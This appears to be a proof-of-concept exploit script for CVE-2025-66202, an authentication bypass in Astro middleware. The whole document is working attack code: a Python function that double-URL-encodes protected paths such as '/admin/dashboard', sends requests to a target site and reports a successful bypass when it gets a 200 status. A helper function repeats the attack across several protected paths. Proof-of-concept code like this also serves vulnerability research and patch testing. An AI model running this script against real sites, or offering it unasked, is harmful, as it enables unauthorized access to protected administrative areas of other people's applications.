CVE-2025-66202 Astro双重URL编码身份验证绕过漏洞

import requests # CVE-2025-66202 PoC - Double URL Encoding Bypass # Target: Astro middleware authentication bypass def exploit_astro_bypass(target_url, protected_path): """ Exploit double URL encoding to bypass Astro middleware authentication. Args: target_url: Base URL of the vulnerable Astro application protected_path: Path protected by middleware authentication Returns: bool: True if bypass successful, False otherwise """ # Original protected path original_path = protected_path # e.g., '/admin/dashboard' # Single URL encode single_encoded = original_path.replace('/', '%2F') # '%2Fadmin%2Fdashboard' # Double URL encode (exploit the vulnerability) double_encoded = single_encoded.replace('%', '%25') # '%252Fadmin%252Fdashboard' # Construct exploit URLs exploit_url = target_url.rstrip('/') + double_encoded print(f"[*] Target: {target_url}") print(f"[*] Protected Path: {original_path}") print(f"[*] Single Encoded: {single_encoded}") print(f"[*] Double Encoded: {double_encoded}") print(f"[*] Exploit URL: {exploit_url}") # Send the exploit request try: response = requests.get(exploit_url, timeout=10) print(f"[+] Status Code: {response.status_code}") # Check if we bypassed authentication # (In real scenario, check for protected content in response) if response.status_code == 200: print("[!] Authentication bypassed - accessed protected resource") return True else: print("[-] Bypass failed") return False except requests.RequestException as e: print(f"[-] Request failed: {e}") return False # Example usage if __name__ == "__main__": target = "https://vulnerable-astro-site.com" protected = "/admin/dashboard" exploit_astro_bypass(target, protected) # Additional test cases for different encoding scenarios def test_encoding_bypass(): """Test various URL encoding bypass techniques""" test_cases = [ ("/admin", "Double encoding"), ("/api/private", "Double encoding"), ("/dashboard/settings", "Double encoding"), ] base_url = "https://vulnerable-astro-site.com" for path, technique in test_cases: print(f"\n[*] Testing {technique} for: {path}") exploit_astro_bypass(base_url, path)